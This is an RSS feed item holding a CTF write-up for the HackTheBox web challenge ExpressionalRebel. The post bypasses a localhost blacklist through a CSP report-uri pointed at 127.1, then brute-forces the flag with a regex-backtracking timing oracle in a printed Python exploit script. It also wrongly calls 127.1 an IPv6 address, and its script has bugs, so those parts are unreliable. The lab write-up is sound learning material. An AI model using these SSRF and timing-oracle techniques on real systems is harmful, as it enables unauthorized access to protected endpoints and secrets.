<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Audun Mo</title>
    <description>The latest articles on DEV Community by Audun Mo (@audunmo).</description>
    <link>https://dev.to/audunmo</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F851225%2F952bf663-516d-4fe0-9292-c3aebac7a31d.png</url>
      <title>DEV Community: Audun Mo</title>
      <link>https://dev.to/audunmo</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/audunmo"/>
    <language>en</language>
    <item>
      <title>HTB: ExpressionalRebel</title>
      <dc:creator>Audun Mo</dc:creator>
      <pubDate>Thu, 21 Apr 2022 12:46:37 +0000</pubDate>
      <link>https://dev.to/audunmo/htb-expressionalrebel-173d</link>
      <guid>https://dev.to/audunmo/htb-expressionalrebel-173d</guid>
      <description>&lt;p&gt;ExpressionalRebel is a web challenge on HackTheBox&lt;/p&gt;

&lt;p&gt;It's quite an interesting one, because you'll have to combine several different faults in the application to solve it&lt;/p&gt;

&lt;h2&gt;
  
  
  If you're stuck
&lt;/h2&gt;

&lt;p&gt;If you're stuck and are looking for help, here are a few vague tips that might point you in the right direction, before spoiling yourself with this writeup.&lt;/p&gt;

&lt;p&gt;For the IP-check:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Look at the handling of &lt;code&gt;report-uri&lt;/code&gt;. Are there other ways can you write localhost/127.0.0.1?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For getting the flag&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Check the expected type of the first parameter to regExp.match&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Getting started
&lt;/h2&gt;

&lt;p&gt;ExpressionalRebel contains a node-express app that evaluates &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP"&gt;CSP&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking at the code, the first thing I did was just &lt;code&gt;grep&lt;/code&gt; for the input for the &lt;code&gt;flag&lt;/code&gt;. This reveals that there isn't really one point where the app will output the flag. However, there's a call that compares an input to the flag&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/deactivate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;isLocal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;secretCode&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;secretCode&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;success&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;validateSecret&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;secretCode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;deactivate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;secretCode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;deactivate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;secretCode&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So this is the closest we can get to the flag. I noticed that the route is protected with the &lt;code&gt;isLocal&lt;/code&gt; method, which checks if the caller is itself, so this can only be called from itself.&lt;/p&gt;

&lt;p&gt;So, first step is to get to call this endpoint&lt;/p&gt;

&lt;h3&gt;
  
  
  Calling the endpoint
&lt;/h3&gt;

&lt;p&gt;Playing around with the app, I noticed that the &lt;code&gt;report-uri&lt;/code&gt; could be used to call any endpoint I want. This is really fun, because this could be used to defeat the &lt;code&gt;isLocal&lt;/code&gt; check on deactivate. However, passing &lt;code&gt;localhost&lt;/code&gt; or &lt;code&gt;127.0.0.1&lt;/code&gt; doesn't work. This stumped me for a long long time.&lt;/p&gt;

&lt;p&gt;The localhost filtering on the URLs for &lt;code&gt;report-uri&lt;/code&gt; is like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isLocalhost&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;blacklist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;localhost&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;127.0.0.1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;hostname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;blacklist&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Staring at it for ages, it finally struck me. There's an IPv6 version of 127.0.0.1! 127.1! So, passing in &lt;code&gt;report-uri http://127.1/deactivate&lt;/code&gt; worked! Or... At least it didn't return the same error as before&lt;/p&gt;

&lt;p&gt;So what's happening here is that while the CSP check performs the GET request to /deactivate, it doesn't forward the response. So we don't get to see directly what's going on&lt;/p&gt;

&lt;p&gt;Inspecting the code, we can see that it also expects a &lt;code&gt;secretCode&lt;/code&gt; query param. &lt;/p&gt;

&lt;h2&gt;
  
  
  The plot thickens.
&lt;/h2&gt;

&lt;p&gt;Looking at the code for deactivate, we can see that it takes the &lt;code&gt;secretCode&lt;/code&gt; query param and forwards it to &lt;code&gt;verifySecret&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;validateSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;regExp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FLAG&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;regExp&lt;/code&gt; is from the npm package &lt;a href="https://www.npmjs.com/package/time-limited-regular-expressions"&gt;&lt;code&gt;time-limited-regular-expressions&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From the definition of &lt;a href="https://github.com/apostrophecms/time-limited-regular-expressions/blob/776542482e0040f83e9a3803b17613932dc0df53/index.js#L9"&gt;&lt;code&gt;.match&lt;/code&gt;&lt;/a&gt; you can see that it expects a regex as its first parameter. But... That's the one from the user, right? So we can mess with it! Passing the right regex will reveal information about the flag! &lt;/p&gt;

&lt;p&gt;But how will we know? We can't get the response damnit...&lt;/p&gt;

&lt;p&gt;Or can we?&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting backtracking in regex
&lt;/h2&gt;

&lt;p&gt;At first, it was a bit confusing why they used this time-limited regex things, but this is actually a hint from the author of the challenge.&lt;/p&gt;

&lt;p&gt;As it turns out, you can make regexes that take a loooong time to compute. Like several minutes or hours long. So, with a specially constructed regex, we can get some information out&lt;/p&gt;

&lt;p&gt;First, we know that the structure of the flag is &lt;code&gt;HTB{\.+}&lt;/code&gt;. We also know that regexes have a logical OR, &lt;code&gt;&amp;lt;patter&amp;gt;|&amp;lt;pattern&amp;gt;&lt;/code&gt;, and that a left-side match would mean that the right side doesn't get checked. So, what if we constructed a regex like &lt;code&gt;HTB{\w+}|...some sloooooow regex...&lt;/code&gt;. If we timed the responses, we could probably figure out which one is getting used!&lt;/p&gt;

&lt;p&gt;After trial and error, I landed on this as a succifiently slow right-side of the regex: (?:[^&amp;lt;]+|&amp;lt;(?:[^\/]|\/(?:[^s]))). The key here is that this is doing a bunch of nested look-ahead statements, looking for missing matches. This expensive because it causes backtracking through the string many many times. You can read more about backtracking &lt;a href="https://www.regular-expressions.info/catastrophic.html"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, using &lt;code&gt;HTB{\w+}&lt;/code&gt; as the left side is only useful to verify our hypothesis. We'd expect &lt;code&gt;HTB{\w+}&lt;/code&gt; to resolve really quick, and &lt;code&gt;HTB{\d}&lt;/code&gt; to resolve really slow. And 🥁🥁🥁... It works!&lt;/p&gt;

&lt;h2&gt;
  
  
  Putting it all together
&lt;/h2&gt;

&lt;p&gt;So what have we learned so far&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We know that passing &lt;a href="http://127.1/deactivate"&gt;http://127.1/deactivate&lt;/a&gt; as the &lt;code&gt;report-uri&lt;/code&gt; part of the CSP bypasses the localhost checks on both endpoints&lt;/li&gt;
&lt;li&gt;We know that deactivate expects a query param called secretCode, which can be a regex.&lt;/li&gt;
&lt;li&gt;We know that with crafting special regexes we can reveal if a given regex matches the flag or not by timing the responses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Assembling this information, we know that we want to incur the server to call itself on 127.1/deactivate with a secretCode that's a regex that &lt;em&gt;exactly&lt;/em&gt; matches the flag. Since we can tell a hit from a miss with timing, we can brute-force this!&lt;/p&gt;

&lt;p&gt;First request would have secretCode:&lt;br&gt;
&lt;code&gt;HTB{a\.+}|(?:[^&amp;lt;]+|&amp;lt;(?:[^\/]|\/(?:[^s])))&lt;/code&gt;&lt;br&gt;
Then:&lt;br&gt;
&lt;code&gt;HTB{b\.+}|(?:[^&amp;lt;]+|&amp;lt;(?:[^\/]|\/(?:[^s])))&lt;/code&gt;&lt;br&gt;
Then:&lt;br&gt;
&lt;code&gt;HTB{c\.+}|(?:[^&amp;lt;]+|&amp;lt;(?:[^\/]|\/(?:[^s])))&lt;/code&gt;&lt;br&gt;
Etc&lt;/p&gt;

&lt;p&gt;You can use &lt;code&gt;HTB{\w+}&lt;/code&gt; as a benchmark of how quickly a "good" response resolves. I set the timeout to 0.5s, and then ran the following &lt;code&gt;exploit.py&lt;/code&gt; file&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;

&lt;span class="n"&gt;eval_endpoint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"http://&amp;lt;YOUR_INDSTANCE_AND_PORT&amp;gt;/api/evaluate"&lt;/span&gt;
&lt;span class="n"&gt;deactivate_endpoint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"http://127.1:1337/deactivate"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;brute_force_flag&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;alphabet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;escape&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789[]{}/\!@#$%^&amp;amp;*()_+=-&amp;lt;&amp;gt;?"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# The end here is just a hard-to-compute regex. If the request takes lnger than ~100ms, this means that the right
&lt;/span&gt;    &lt;span class="c1"&gt;# hand side of this regex is being evaluated, and that means that the left side didn't match. 
&lt;/span&gt;    &lt;span class="n"&gt;regex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;".+|(?:[^&amp;lt;]+|&amp;lt;(?:[^\/]|\/(?:[^s])))*&amp;gt;(?:[^&amp;lt;]+|&amp;lt;(?:[^/]|\/(?:[^s]))*)"&lt;/span&gt;

    &lt;span class="n"&gt;current_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"HTB{"&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;current_guess&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s"&gt;"}"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;alphabet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="c1"&gt;# Concat the current best guess, with the chracter to test, and add the rest of the regex
&lt;/span&gt;            &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;current_guess&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;

            &lt;span class="c1"&gt;# Gotta make the secretCode URL safe
&lt;/span&gt;            &lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;deactivate_endpoint&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"?secretCode="&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="s"&gt;"csp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"report-uri "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;";"&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eval_endpoint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TimeoutException&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="c1"&gt;# If the request timed out, we missed, so skip to next
&lt;/span&gt;                &lt;span class="k"&gt;continue&lt;/span&gt;

            &lt;span class="n"&gt;current_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;current_guess&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt;
            &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"final guess was "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;current_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"__main__"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;brute_force_flag&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After a few minutes of chugging along, it printed me a nice, friendly, flag 🎉&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
